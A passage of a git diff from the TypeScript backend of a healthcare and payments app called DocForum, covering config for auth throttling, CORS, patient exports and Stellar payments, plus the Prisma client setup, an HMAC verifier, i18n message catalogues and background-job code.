PRODUCTION_CORS_ORIGINS : LOCAL_DEV_CORS_ORIGINS; + return raw + .split(',') + .map((origin) => origin.trim()) + .filter((origin) => origin.length > 0); +} + +export const config = { + port: Number(process.env.PORT ?? 4000), + databaseUrl: requireEnv('DATABASE_URL'), + jwt: { + accessSecret: requireEnv('JWT_ACCESS_SECRET'), + refreshSecret: requireEnv('JWT_REFRESH_SECRET'), + // Short-lived access token; refresh token is the long-lived one. + // No revocation list yet for either β€” see ARCHITECTURE_ESSENTIALS.md + // "Known unresolved design gaps" (JWT refresh rotation without a + // revocation list). A stolen refresh token has no clean kill switch + // until that's built (Phase 8). + accessTtl: '15m', + refreshTtl: '30d', + }, + // Base URL of docforum-web, used to build the link in outbound + // notifications (password reset today). Not a provider decision β€” see + // issue #17 β€” just the URL the recipient is sent to. + appBaseUrl: process.env.APP_BASE_URL ?? 'http://localhost:5173', + passwordReset: { + // Raw tokens are single-use and short-lived; only their SHA-256 hash + // is stored (see PasswordResetToken in schema.prisma). + tokenTtlMinutes: Number(process.env.PASSWORD_RESET_TOKEN_TTL_MINUTES ?? 30), + // Rate limits on POST /auth/password-reset/request, so the endpoint + // can't be used to spam an inbox. Applied per email AND per IP β€” + // either limit being hit returns 429. See auth/services/rate-limit.ts + // for the (in-memory, single-process) caveat. + requestsPerEmailPerHour: Number(process.env.PASSWORD_RESET_REQUESTS_PER_EMAIL_PER_HOUR ?? 3), + requestsPerIpPerHour: Number(process.env.PASSWORD_RESET_REQUESTS_PER_IP_PER_HOUR ?? 10), + }, + // Phase 8 hardening knobs (issues #34/#35/#37). Env-configurable so a + // preview deployment can be tightened without a code change, and so + // tests can set short windows instead of waiting real minutes. + auth: { + emailVerification: { + // How long a verification link stays usable. + tokenTtlMinutes: Number(process.env.EMAIL_VERIFICATION_TOKEN_TTL_MINUTES ?? 24 * 60), + // Minimum gap between two "resend verification email" requests for + // the same account (a resend is otherwise an open email-flooding + // button). + resendIntervalSeconds: Number(process.env.EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS ?? 60), + // Base URL the verification link points at. docforum-web owns the + // page that consumes `?token=`; this is just where we send people. + landingUrl: process.env.EMAIL_VERIFICATION_LANDING_URL ?? 'http://localhost:5173/verify-email', + }, + }, + // Express's `trust proxy` setting (Phase 8, issue #35). Login throttling + // keys off the client IP, and a wrong setting here is a security bug in + // both directions: + // - too trusting (`true`) means a client can spoof `X-Forwarded-For` + // and get a fresh throttle bucket per request; + // - not trusting at all means every request looks like it came from + // Render's proxy β€” one shared bucket for the whole internet. + // Default: local dev has no proxy in front (false). Production is set by + // the deployment (Render terminates TLS in front of exactly one hop), so + // set TRUST_PROXY explicitly there; `1` is the value that matches it. + trustProxy: parseTrustProxy(process.env.TRUST_PROXY, process.env.NODE_ENV === 'production'), + loginThrottle: { + // Sliding window: failures older than this don't count toward a lock. + windowSeconds: Number(process.env.LOGIN_THROTTLE_WINDOW_SECONDS ?? 15 * 60), + // After this many failures (still inside the window) start refusing with + // Retry-After, growing exponentially. Deliberately below the lock + // threshold: slow them down before locking them out. + backoffAfterFailures: Number(process.env.LOGIN_THROTTLE_BACKOFF_AFTER ?? 3), + backoffBaseSeconds: Number(process.env.LOGIN_THROTTLE_BACKOFF_BASE_SECONDS ?? 2), + backoffMaxSeconds: Number(process.env.LOGIN_THROTTLE_BACKOFF_MAX_SECONDS ?? 300), + // The actual lock, applied per normalised email (and per IP). + lockAfterFailures: Number(process.env.LOGIN_THROTTLE_LOCK_AFTER ?? 10), + lockSeconds: Number(process.env.LOGIN_THROTTLE_LOCK_SECONDS ?? 15 * 60), + // Cleanup job (src/server.ts): how often to run, and how old a bucket's + // last failure has to be before its row is dropped. + pruneIntervalSeconds: Number(process.env.LOGIN_THROTTLE_PRUNE_INTERVAL_SECONDS ?? 60 * 60), + pruneAfterSeconds: Number(process.env.LOGIN_THROTTLE_PRUNE_AFTER_SECONDS ?? 24 * 60 * 60), + }, + // PHI read-access log (Phase 8, issue #45). How long AccessLog rows are + // kept before the prune job (src/server.ts) deletes them. Reads are far + // higher volume than AuditEvent writes, so this gets its own, shorter + // retention instead of AuditEvent's append-forever lifetime. + accessLog: { + retentionDays: Number(process.env.ACCESS_LOG_RETENTION_DAYS ?? 365), + }, + // Patient data export (Phase 8, issue #40). Env-configurable so a + // deployment can tune retention and memory bounds without a code change. + patientExport: { + // How long a `ready` export stays downloadable before the cleanup job + // deletes its artifact. Downloads are refused at expiry even if cleanup + // hasn't run yet. + ttlHours: Number(process.env.PATIENT_EXPORT_TTL_HOURS ?? 24), + // Rows fetched per section page while generating β€” the memory bound on + // the read side. + pageSize: Number(process.env.PATIENT_EXPORT_PAGE_SIZE ?? 200), + // Target size of one stored artifact chunk β€” the memory bound on the + // write side and on download (one chunk is in memory at a time). + chunkBytes: Number(process.env.PATIENT_EXPORT_CHUNK_BYTES ?? 256 * 1024), + // Worker cadence (src/jobs/patient-exports.ts). A new request also + // wakes the worker immediately; the interval is the restart/backlog + // safety net. + workerIntervalSeconds: Number(process.env.PATIENT_EXPORT_WORKER_INTERVAL_SECONDS ?? 15), + cleanupIntervalSeconds: Number(process.env.PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS ?? 5 * 60), + // A `processing` job whose claim is older than this is presumed dead + // (process crashed mid-generation) and is retried, up to maxAttempts. + staleAfterSeconds: Number(process.env.PATIENT_EXPORT_STALE_AFTER_SECONDS ?? 15 * 60), + maxAttempts: Number(process.env.PATIENT_EXPORT_MAX_ATTEMPTS ?? 3), + }, + + // Account deletion purge (Phase 8, issue #41, docs/adr/0010). Only + // tombstones with no retained records are ever purged; the grace period is + // operational (lets requests in flight under a still-valid access token + // finish), not a legal retention period β€” that one is an open decision. + accountPurge: { + graceHours: Number(process.env.ACCOUNT_PURGE_GRACE_HOURS ?? 24), + intervalSeconds: Number(process.env.ACCOUNT_PURGE_INTERVAL_SECONDS ?? 6 * 60 * 60), + }, + // Referral expiry (Phase 3, issue #8). A referral still `pending` this + // long after it was created β€” or after it last returned to `pending` β€” + // is moved to the terminal `expired` state by an interval sweep + // (src/jobs/referral-expiry.ts). A v1 default, not a tuned value. + referrals: { + pendingTtlDays: positiveNumber(process.env.REFERRAL_PENDING_TTL_DAYS, 14), + expirySweepIntervalSeconds: positiveNumber(process.env.REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS, 60 * 60), + }, + // Guardians and dependents (Phase 8, issue #42, docs/adr/0011). Guardian + // access ends automatically when the dependent reaches this age (UTC + // calendar date, checked at request time). + patients: { + ageOfMajorityYears: Number(process.env.AGE_OF_MAJORITY_YEARS ?? 18), + }, + // Explicit, per-environment CORS allowlist (Phase 8, issue #37). A single + // configured origin string was one typo away from "reflect whatever origin + // asked"; an allowlist makes every permitted frontend a deliberate entry. + // `CORS_ORIGINS` (comma-separated) is the preferred form; `CORS_ORIGIN` is + // still honoured as a single-origin setting so the existing Render + // configuration (docs/adr/0003) keeps working unchanged. + corsOrigins: parseCorsOrigins( + process.env.CORS_ORIGINS ?? process.env.CORS_ORIGIN, + process.env.NODE_ENV === 'production', + ), + cookie: { + // The refresh cookie is `SameSite=None; Secure` in production because + // docforum-web (GitHub Pages) and this API (Render) are genuinely + // different sites β€” see docs/adr/0003. `Secure` needs HTTPS, which local + // dev over plain http doesn't have, hence the NODE_ENV branch. Shared + // with the CSRF cookie so the two can never drift apart. + secure: process.env.NODE_ENV === 'production', + sameSite: process.env.NODE_ENV === 'production' ? ('none' as const) : ('lax' as const), + path: '/', + }, + // Admin invites (Phase 8, issue #39). `acceptUrl` is where the invite link + // points β€” docforum-web owns the page that consumes `?token=`. + adminInvites: { + ttlHours: Number(process.env.ADMIN_INVITE_TTL_HOURS ?? 72), + acceptUrl: process.env.ADMIN_INVITE_ACCEPT_URL ?? 'http://localhost:5173/accept-admin-invite', + }, + orders: { + confirmationWindowHours: Number(process.env.ORDER_CONFIRMATION_WINDOW_HOURS ?? 72), + expiryIntervalSeconds: Number(process.env.ORDER_EXPIRY_INTERVAL_SECONDS ?? 300), + }, + payments: { + ...parsePaymentsConfig(process.env), + // Issue #79: per-environment asset allowlist (USDC + native XLM by + // default on testnet). The legacy `escrowTokenId`/`assetAllowlist` + // fields above remain for the pre-#79 native-XLM path. + assets: parsePaymentAssets(process.env.PAYMENT_ASSETS), + // Horizon is read only for payee trustline checks β€” never for contract + // calls, which go through the SDK. + horizonUrl: process.env.HORIZON_URL ?? 'https://horizon-testnet.stellar.org', + // Issue #80: how long a prepared, unsigned create_escrow transaction is + // considered live before the expiry job returns the intent to `created`. + prepareTtlSeconds: Number(process.env.PAYMENT_PREPARE_TTL_SECONDS ?? 5 * 60), + // ADR 0005: refund_after = order expiry + grace. Orders are still + // placeholders without an expiry field (Phase 4), so the intent's own + // createdAt is the order-expiry anchor today. + orderExpiryHours: Number(process.env.PAYMENT_ORDER_EXPIRY_HOURS ?? 72), + refundGraceHours: Number(process.env.PAYMENT_REFUND_GRACE_HOURS ?? 24), + // Expiry sweep cadence (src/jobs/payment-intents.ts). + prepareExpirySweepIntervalSeconds: Number(process.env.PAYMENT_PREPARE_EXPIRY_SWEEP_INTERVAL_SECONDS ?? 60), + payoutPrivacyMode, + payoutPrivacyPoolAddress: process.env.PAYOUT_PRIVACY_POOL_ADDRESS, + }, + // SEP-10 Stellar Web Authentication (issue #77, ADR 0005 step 4). + sep10: { + signingSecret: process.env.SEP10_SIGNING_SECRET, + homeDomain: process.env.SEP10_HOME_DOMAIN, + webAuthDomain: process.env.SEP10_WEB_AUTH_DOMAIN, + networkPassphrase: process.env.SEP10_NETWORK_PASSPHRASE ?? 'Test SDF Network ; September 2015', + horizonUrl: process.env.SEP10_HORIZON_URL ?? 'https://horizon-testnet.stellar.org', + challengeTimeoutSeconds: Number(process.env.SEP10_CHALLENGE_TIMEOUT_SECONDS ?? 300), + }, + // Structured logging (Phase 9). Level is configurable per environment; + // tests run quiet by default so captured output stays readable. + log: { + level: + process.env.LOG_LEVEL ?? + (process.env.NODE_ENV === 'test' ? 'silent' : process.env.NODE_ENV === 'production' ? 'info' : 'debug'), + // Header carrying the request id; accepted from the client or generated. + requestIdHeader: 'x-request-id', + }, +} as const; diff --git a/backend/src/db/prisma-client.ts b/backend/src/db/prisma-client.ts index 8983a295..72eda762 100644 --- a/backend/src/db/prisma-client.ts +++ b/backend/src/db/prisma-client.ts @@ -1,32 +1,32 @@ -import { PrismaClient } from '@prisma/client'; -import { PrismaPg } from '@prisma/adapter-pg'; -import { config } from '../config'; - -// Phase 8, issue #47: Prisma 7 dropped the Rust query engine β€” every client -// is now built on a driver adapter, and `new PrismaClient()` without one -// throws ("A driver adapter is required to connect to your database"). -// PrismaPg wraps node-postgres, so the connection still comes from -// DATABASE_URL, exactly as it did through the v6 engine. -// -// Two settings below are deliberate, and both are about *behaviour parity* -// with Prisma 6 rather than new choices (see docs/adr/0006): -// - connectionTimeoutMillis: node-pg defaults to no connect timeout (0), -// where v6 waited 5s. Without this, a request against a wedged database -// hangs indefinitely instead of failing fast after 5s. -// - `ssl` is deliberately NOT passed. Render decides whether a given -// DATABASE_URL uses TLS and expresses that in the URL itself; forcing an -// `ssl` object here would break the internal (non-TLS) Render URL. The -// v6β†’v7 certificate-validation change is a real deployment risk β€” if a -// deploy logs `P1010: User was denied access on the database`, that is -// it, and the documented remedy is `ssl: { rejectUnauthorized: false }` -// (docs/adr/0003, docs/adr/0006). -const adapter = new PrismaPg({ - connectionString: config.databaseUrl, - connectionTimeoutMillis: Number(process.env.DB_CONNECTION_TIMEOUT_MS ?? 5_000), - max: Number(process.env.DB_POOL_MAX ?? 5), - statement_timeout: Number(process.env.DB_STATEMENT_TIMEOUT_MS ?? 10_000), -}); - -// Single shared client for the whole process β€” Prisma's own guidance for -// a long-running server (as opposed to a new client per request/lambda). -export const prisma = new PrismaClient({ adapter }); +import { PrismaClient } from '@prisma/client'; +import { PrismaPg } from '@prisma/adapter-pg'; +import { config } from '../config'; + +// Phase 8, issue #47: Prisma 7 dropped the Rust query engine β€” every client +// is now built on a driver adapter, and `new PrismaClient()` without one +// throws ("A driver adapter is required to connect to your database"). +// PrismaPg wraps node-postgres, so the connection still comes from +// DATABASE_URL, exactly as it did through the v6 engine. +// +// Two settings below are deliberate, and both are about *behaviour parity* +// with Prisma 6 rather than new choices (see docs/adr/0006): +// - connectionTimeoutMillis: node-pg defaults to no connect timeout (0), +// where v6 waited 5s. Without this, a request against a wedged database +// hangs indefinitely instead of failing fast after 5s. +// - `ssl` is deliberately NOT passed. Render decides whether a given +// DATABASE_URL uses TLS and expresses that in the URL itself; forcing an +// `ssl` object here would break the internal (non-TLS) Render URL. The +// v6β†’v7 certificate-validation change is a real deployment risk β€” if a +// deploy logs `P1010: User was denied access on the database`, that is +// it, and the documented remedy is `ssl: { rejectUnauthorized: false }` +// (docs/adr/0003, docs/adr/0006). +const adapter = new PrismaPg({ + connectionString: config.databaseUrl, + connectionTimeoutMillis: Number(process.env.DB_CONNECTION_TIMEOUT_MS ?? 5_000), + max: Number(process.env.DB_POOL_MAX ?? 5), + statement_timeout: Number(process.env.DB_STATEMENT_TIMEOUT_MS ?? 10_000), +}); + +// Single shared client for the whole process β€” Prisma's own guidance for +// a long-running server (as opposed to a new client per request/lambda). +export const prisma = new PrismaClient({ adapter }); diff --git a/backend/src/facility-hmac.ts b/backend/src/facility-hmac.ts index 06e424e9..374e0c95 100644 --- a/backend/src/facility-hmac.ts +++ b/backend/src/facility-hmac.ts @@ -1,3 +1,3 @@ -import { createHmac, timingSafeEqual } from "node:crypto"; -export function signFacilityRequest(secret: string, timestamp: string, body: string): string { return createHmac("sha256", secret).update(`${timestamp}.${body}`).digest("hex"); } -export function verifyFacilityRequest(secret: string, timestamp: string, body: string, signature: string, now = Date.now()): boolean { const age=Math.abs(now-Number(timestamp)); if(!Number.isFinite(age)||age>300000||!/^[0-9]+$/.test(timestamp)) return false; const expected=Buffer.from(signFacilityRequest(secret,timestamp,body)); const actual=Buffer.from(signature); return expected.length===actual.length&&timingSafeEqual(expected,actual); } +import { createHmac, timingSafeEqual } from "node:crypto"; +export function signFacilityRequest(secret: string, timestamp: string, body: string): string { return createHmac("sha256", secret).update(`${timestamp}.${body}`).digest("hex"); } +export function verifyFacilityRequest(secret: string, timestamp: string, body: string, signature: string, now = Date.now()): boolean { const age=Math.abs(now-Number(timestamp)); if(!Number.isFinite(age)||age>300000||!/^[0-9]+$/.test(timestamp)) return false; const expected=Buffer.from(signFacilityRequest(secret,timestamp,body)); const actual=Buffer.from(signature); return expected.length===actual.length&&timingSafeEqual(expected,actual); } diff --git a/backend/src/i18n/index.ts b/backend/src/i18n/index.ts index c44ff932..af81cd33 100644 --- a/backend/src/i18n/index.ts +++ b/backend/src/i18n/index.ts @@ -1,41 +1,41 @@ -import { IntlMessageFormat } from 'intl-messageformat'; -import en from './messages/en.json'; -import fr from './messages/fr.json'; - -export type Locale = 'en' | 'fr'; -const catalogs: Record> = { en, fr }; - -function asSupportedLocale(value: string | undefined): Locale | null { - if (!value) return null; - const language = value.trim().toLowerCase().split(/[-_]/, 1)[0]; - return language === 'en' || language === 'fr' ? language : null; -} - -/** Resolve a stored preference first, then the best supported Accept-Language - * entry. Unsupported languages fall back to the English source catalogue. */ -export function resolveLocale(preferred?: string | null, acceptLanguage?: string | string[]): Locale { - const saved = asSupportedLocale(preferred ?? undefined); - if (saved) return saved; - const header = Array.isArray(acceptLanguage) ? acceptLanguage.join(',') : acceptLanguage; - const candidates = (header ?? '') - .split(',') - .map((part, index) => { - const [tag, ...params] = part.trim().split(';'); - const quality = params.map((param) => /^q\s*=\s*(\d+(?:\.\d+)?)$/i.exec(param.trim())) - .find(Boolean)?.[1]; - return { locale: asSupportedLocale(tag), quality: quality === undefined ? 1 : Number(quality), index }; - }) - .filter((item): item is { locale: Locale; quality: number; index: number } => item.locale !== null && item.quality > 0) - .sort((a, b) => b.quality - a.quality || a.index - b.index); - return candidates[0]?.locale ?? 'en'; -} - -export function formatMessage(locale: Locale, key: string, values: Record = {}): string { - const message = catalogs[locale][key] ?? catalogs.en[key]; - if (!message) return key; - return String(new IntlMessageFormat(message, locale).format(values)); -} - -export function localizedErrorMessage(locale: Locale, code: string | undefined, fallback: string): string { - return code && catalogs.en[`errors.${code}`] ? formatMessage(locale, `errors.${code}`) : fallback; -} +import { IntlMessageFormat } from 'intl-messageformat'; +import en from './messages/en.json'; +import fr from './messages/fr.json'; + +export type Locale = 'en' | 'fr'; +const catalogs: Record> = { en, fr }; + +function asSupportedLocale(value: string | undefined): Locale | null { + if (!value) return null; + const language = value.trim().toLowerCase().split(/[-_]/, 1)[0]; + return language === 'en' || language === 'fr' ? language : null; +} + +/** Resolve a stored preference first, then the best supported Accept-Language + * entry. Unsupported languages fall back to the English source catalogue. */ +export function resolveLocale(preferred?: string | null, acceptLanguage?: string | string[]): Locale { + const saved = asSupportedLocale(preferred ?? undefined); + if (saved) return saved; + const header = Array.isArray(acceptLanguage) ? acceptLanguage.join(',') : acceptLanguage; + const candidates = (header ?? '') + .split(',') + .map((part, index) => { + const [tag, ...params] = part.trim().split(';'); + const quality = params.map((param) => /^q\s*=\s*(\d+(?:\.\d+)?)$/i.exec(param.trim())) + .find(Boolean)?.[1]; + return { locale: asSupportedLocale(tag), quality: quality === undefined ? 1 : Number(quality), index }; + }) + .filter((item): item is { locale: Locale; quality: number; index: number } => item.locale !== null && item.quality > 0) + .sort((a, b) => b.quality - a.quality || a.index - b.index); + return candidates[0]?.locale ?? 'en'; +} + +export function formatMessage(locale: Locale, key: string, values: Record = {}): string { + const message = catalogs[locale][key] ?? catalogs.en[key]; + if (!message) return key; + return String(new IntlMessageFormat(message, locale).format(values)); +} + +export function localizedErrorMessage(locale: Locale, code: string | undefined, fallback: string): string { + return code && catalogs.en[`errors.${code}`] ? formatMessage(locale, `errors.${code}`) : fallback; +} diff --git a/backend/src/i18n/messages/en.json b/backend/src/i18n/messages/en.json index 15112439..0b70ef50 100644 --- a/backend/src/i18n/messages/en.json +++ b/backend/src/i18n/messages/en.json @@ -1,7 +1,7 @@ -{ - "errors.EMAIL_NOT_VERIFIED": "Verify your email address before continuing.", - "notifications.emailVerification.subject": "Verify your DocForum email address", - "notifications.emailVerification.body": "Confirm this email address to book appointments and pay for orders. Open this single-use link within {minutes, plural, one {# minute} other {# minutes}}: {link}", - "notifications.passwordReset.subject": "Reset your DocForum password", - "notifications.passwordReset.body": "A password reset was requested for this account. Open this single-use link within {minutes, plural, one {# minute} other {# minutes}} to choose a new password: {link} If you did not request this, you can ignore this message β€” your password is unchanged." -} +{ + "errors.EMAIL_NOT_VERIFIED": "Verify your email address before continuing.", + "notifications.emailVerification.subject": "Verify your DocForum email address", + "notifications.emailVerification.body": "Confirm this email address to book appointments and pay for orders. Open this single-use link within {minutes, plural, one {# minute} other {# minutes}}: {link}", + "notifications.passwordReset.subject": "Reset your DocForum password", + "notifications.passwordReset.body": "A password reset was requested for this account. Open this single-use link within {minutes, plural, one {# minute} other {# minutes}} to choose a new password: {link} If you did not request this, you can ignore this message β€” your password is unchanged." +} diff --git a/backend/src/i18n/messages/fr.json b/backend/src/i18n/messages/fr.json index 3939c0f3..0d104882 100644 --- a/backend/src/i18n/messages/fr.json +++ b/backend/src/i18n/messages/fr.json @@ -1,7 +1,7 @@ -{ - "errors.EMAIL_NOT_VERIFIED": "VΓ©rifiez votre adresse e-mail avant de continuer.", - "notifications.emailVerification.subject": "VΓ©rifiez votre adresse e-mail DocForum", - "notifications.emailVerification.body": "Confirmez cette adresse e-mail pour rΓ©server des rendez-vous et payer des commandes. Ouvrez ce lien Γ  usage unique dans les {minutes, plural, one {# minute} other {# minutes}} : {link}", - "notifications.passwordReset.subject": "RΓ©initialisez votre mot de passe DocForum", - "notifications.passwordReset.body": "Une demande de rΓ©initialisation du mot de passe a Γ©tΓ© faite pour ce compte. Ouvrez ce lien Γ  usage unique dans les {minutes, plural, one {# minute} other {# minutes}} pour choisir un nouveau mot de passe : {link} Si vous n'Γͺtes pas Γ  l'origine de cette demande, ignorez ce message β€” votre mot de passe reste inchangΓ©." -} +{ + "errors.EMAIL_NOT_VERIFIED": "VΓ©rifiez votre adresse e-mail avant de continuer.", + "notifications.emailVerification.subject": "VΓ©rifiez votre adresse e-mail DocForum", + "notifications.emailVerification.body": "Confirmez cette adresse e-mail pour rΓ©server des rendez-vous et payer des commandes. Ouvrez ce lien Γ  usage unique dans les {minutes, plural, one {# minute} other {# minutes}} : {link}", + "notifications.passwordReset.subject": "RΓ©initialisez votre mot de passe DocForum", + "notifications.passwordReset.body": "Une demande de rΓ©initialisation du mot de passe a Γ©tΓ© faite pour ce compte. Ouvrez ce lien Γ  usage unique dans les {minutes, plural, one {# minute} other {# minutes}} pour choisir un nouveau mot de passe : {link} Si vous n'Γͺtes pas Γ  l'origine de cette demande, ignorez ce message β€” votre mot de passe reste inchangΓ©." +} diff --git a/backend/src/jobs/README.md b/backend/src/jobs/README.md index b3226a70..d05e12e4 100644 --- a/backend/src/jobs/README.md +++ b/backend/src/jobs/README.md @@ -1,25 +1,25 @@ -# jobs - -Background jobs (reminders, order-expiry checks, notification delivery). - -Per ARCHITECTURE_ESSENTIALS.md: keep this simple (cron/interval) until a -real job exists β€” do not introduce a queue (e.g. BullMQ/Redis) preemptively. -See ARCHITECTURE.md Β§6.3.2 for the overengineering flag on this exact point. - -Jobs are started from `src/server.ts` only, never from `app.ts`, so test -suites that build the app don't start timers. Each job is a thin scheduler -around a module's service function; the state transitions themselves are -conditional UPDATEs in that module, so running more than one process is -safe. - -| Job | File | What it does | -|---|---|---| -| Login-throttle prune (issue #35) | `src/server.ts` | Deletes stale `LoginAttempt` buckets. | -| Patient-export worker (issue #40) | `patient-exports.ts` | Generates pending exports one at a time; woken immediately by a new request, plus every `PATIENT_EXPORT_WORKER_INTERVAL_SECONDS`. Requeues claims older than `PATIENT_EXPORT_STALE_AFTER_SECONDS` (up to `PATIENT_EXPORT_MAX_ATTEMPTS`). | -| Patient-export cleanup (issue #40) | `patient-exports.ts` | Every `PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS`: expires `ready` exports past `expiresAt` and deletes their chunks, plus any chunk that can never be served. | -| Deleted-account purge (issue #41, ADR 0010) | `account-purge.ts` | Every `ACCOUNT_PURGE_INTERVAL_SECONDS`: hard-deletes anonymised patients that no module holds records for (`src/retention-holds.ts`), once `ACCOUNT_PURGE_GRACE_HOURS` has passed. Never deletes clinical, order or payment rows. Logs counts and error types only. | -| Prepared-payment expiry (issue #80) | `payment-intents.ts` | Every `PAYMENT_PREPARE_EXPIRY_SWEEP_INTERVAL_SECONDS` (default 60): moves `PaymentIntent`s stuck in `awaiting_signature` past their `preparedExpiresAt` back to `created`, clearing the prepared transaction. Expiry is a normal case β€” the patient prepares again. | -| Referral expiry (issue #8) | `referral-expiry.ts` | Every `REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS` (default 3600), and once at startup: moves `pending` referrals untouched for `REFERRAL_PENDING_TTL_DAYS` (default 14) to `expired` with `expiredReason = 'ttl'`. `accepted` referrals are never swept. One conditional UPDATE, so multiple processes are safe. | - -Job logs carry error *types* only, never messages β€” a driver error can echo -the patient data it was handling. +# jobs + +Background jobs (reminders, order-expiry checks, notification delivery). + +Per ARCHITECTURE_ESSENTIALS.md: keep this simple (cron/interval) until a +real job exists β€” do not introduce a queue (e.g. BullMQ/Redis) preemptively. +See ARCHITECTURE.md Β§6.3.2 for the overengineering flag on this exact point. + +Jobs are started from `src/server.ts` only, never from `app.ts`, so test +suites that build the app don't start timers. Each job is a thin scheduler +around a module's service function; the state transitions themselves are +conditional UPDATEs in that module, so running more than one process is +safe. + +| Job | File | What it does | +|---|---|---| +| Login-throttle prune (issue #35) | `src/server.ts` | Deletes stale `LoginAttempt` buckets. | +| Patient-export worker (issue #40) | `patient-exports.ts` | Generates pending exports one at a time; woken immediately by a new request, plus every `PATIENT_EXPORT_WORKER_INTERVAL_SECONDS`. Requeues claims older than `PATIENT_EXPORT_STALE_AFTER_SECONDS` (up to `PATIENT_EXPORT_MAX_ATTEMPTS`). | +| Patient-export cleanup (issue #40) | `patient-exports.ts` | Every `PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS`: expires `ready` exports past `expiresAt` and deletes their chunks, plus any chunk that can never be served. | +| Deleted-account purge (issue #41, ADR 0010) | `account-purge.ts` | Every `ACCOUNT_PURGE_INTERVAL_SECONDS`: hard-deletes anonymised patients that no module holds records for (`src/retention-holds.ts`), once `ACCOUNT_PURGE_GRACE_HOURS` has passed. Never deletes clinical, order or payment rows. Logs counts and error types only. | +| Prepared-payment expiry (issue #80) | `payment-intents.ts` | Every `PAYMENT_PREPARE_EXPIRY_SWEEP_INTERVAL_SECONDS` (default 60): moves `PaymentIntent`s stuck in `awaiting_signature` past their `preparedExpiresAt` back to `created`, clearing the prepared transaction. Expiry is a normal case β€” the patient prepares again. | +| Referral expiry (issue #8) | `referral-expiry.ts` | Every `REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS` (default 3600), and once at startup: moves `pending` referrals untouched for `REFERRAL_PENDING_TTL_DAYS` (default 14) to `expired` with `expiredReason = 'ttl'`. `accepted` referrals are never swept. One conditional UPDATE, so multiple processes are safe. | + +Job logs carry error *types* only, never messages β€” a driver error can echo +the patient data it was handling. diff --git a/backend/src/jobs/account-purge.ts b/backend/src/jobs/account-purge.ts index 8847d07b..47a15ae7 100644 --- a/backend/src/jobs/account-purge.ts +++ b/backend/src/jobs/account-purge.ts @@ -1,33 +1,33 @@ -// Deleted-account tombstone purge (Phase 8, issue #41, docs/adr/0010). A -// plain interval, per ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a -// real job exists β€” don't pre-install a queue"); move it onto a shared job -// runner if one is ever introduced. Started from src/server.ts only, so test -// suites that build the app never start a timer. -import { config } from '../config'; -import { purgeDeletedPatientAccounts } from '../modules/patients/services'; - -export function startAccountPurgeJob(): () => void { - let running = false; - const run = () => { - if (running) return; - running = true; - void purgeDeletedPatientAccounts() - .then(({ purged, held, failed }) => { - if (purged > 0 || failed > 0) { - // Counts only β€” never ids or personal fields. - // eslint-disable-next-line no-console - console.log(`[jobs] account purge: ${purged} purged, ${held} retained (records), ${failed} failed`); - } - }) - .catch((err) => { - // eslint-disable-next-line no-console - console.error(`[jobs] account purge failed: ${err instanceof Error ? err.name : typeof err}`); - }) - .finally(() => { - running = false; - }); - }; - const timer = setInterval(run, config.accountPurge.intervalSeconds * 1000); - timer.unref(); - return () => clearInterval(timer); -} +// Deleted-account tombstone purge (Phase 8, issue #41, docs/adr/0010). A +// plain interval, per ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a +// real job exists β€” don't pre-install a queue"); move it onto a shared job +// runner if one is ever introduced. Started from src/server.ts only, so test +// suites that build the app never start a timer. +import { config } from '../config'; +import { purgeDeletedPatientAccounts } from '../modules/patients/services'; + +export function startAccountPurgeJob(): () => void { + let running = false; + const run = () => { + if (running) return; + running = true; + void purgeDeletedPatientAccounts() + .then(({ purged, held, failed }) => { + if (purged > 0 || failed > 0) { + // Counts only β€” never ids or personal fields. + // eslint-disable-next-line no-console + console.log(`[jobs] account purge: ${purged} purged, ${held} retained (records), ${failed} failed`); + } + }) + .catch((err) => { + // eslint-disable-next-line no-console + console.error(`[jobs] account purge failed: ${err instanceof Error ? err.name : typeof err}`); + }) + .finally(() => { + running = false; + }); + }; + const timer = setInterval(run, config.accountPurge.intervalSeconds * 1000); + timer.unref(); + return () => clearInterval(timer); +} diff --git a/backend/src/jobs/order-expiry.ts b/backend/src/jobs/order-expiry.ts index 004bdedf..9fecd91f 100644 --- a/backend/src/jobs/order-expiry.ts +++ b/backend/src/jobs/order-expiry.ts @@ -1,89 +1,89 @@ -import { prisma } from '../db/prisma-client'; -import { config } from '../config'; -import { record, SYSTEM_ACTOR } from '../modules/audit/services'; - -export async function expireUnconfirmedOrders( - windowHours: number = config.orders.confirmationWindowHours, -): Promise<{ confirmedCount: number }> { - const threshold = new Date(Date.now() - windowHours * 60 * 60 * 1000); - - const eligibleOrders = await prisma.order.findMany({ - where: { - status: 'fulfilled', - confirmed: false, - disputed: false, - fulfilledAt: { - lt: threshold, - }, - }, - select: { - id: true, - }, - }); - - if (eligibleOrders.length === 0) { - return { confirmedCount: 0 }; - } - - let confirmedCount = 0; - - for (const eligible of eligibleOrders) { - await prisma.$transaction(async (tx) => { - const updated = await tx.order.updateMany({ - where: { - id: eligible.id, - status: 'fulfilled', - confirmed: false, - disputed: false, - fulfilledAt: { - lt: threshold, - }, - }, - data: { - confirmed: true, - confirmedAt: new Date(), - confirmationSource: 'timeout', - }, - }); - - if (updated.count > 0) { - confirmedCount += updated.count; - await record(tx, SYSTEM_ACTOR, { - entityType: 'Order', - entityId: eligible.id, - action: 'order.receipt_confirmed', - fromState: 'fulfilled', - toState: 'confirmed', - metadata: { confirmationSource: 'timeout' }, - }); - } - }); - } - - return { confirmedCount }; -} - -export function startOrderExpiryJob(): () => void { - const run = async () => { - try { - const { confirmedCount } = await expireUnconfirmedOrders(); - if (confirmedCount > 0) { - // eslint-disable-next-line no-console - console.log(`[jobs] auto-confirmed ${confirmedCount} order(s) past confirmation window`); - } - } catch (err) { - // eslint-disable-next-line no-console - console.error('[jobs] order expiry job failed:', err instanceof Error ? err.name : typeof err); - } - }; - - const timer = setInterval(run, config.orders.expiryIntervalSeconds * 1000); - timer.unref(); - - // Pick up any pending unconfirmed orders on startup - void run(); - - return () => { - clearInterval(timer); - }; -} +import { prisma } from '../db/prisma-client'; +import { config } from '../config'; +import { record, SYSTEM_ACTOR } from '../modules/audit/services'; + +export async function expireUnconfirmedOrders( + 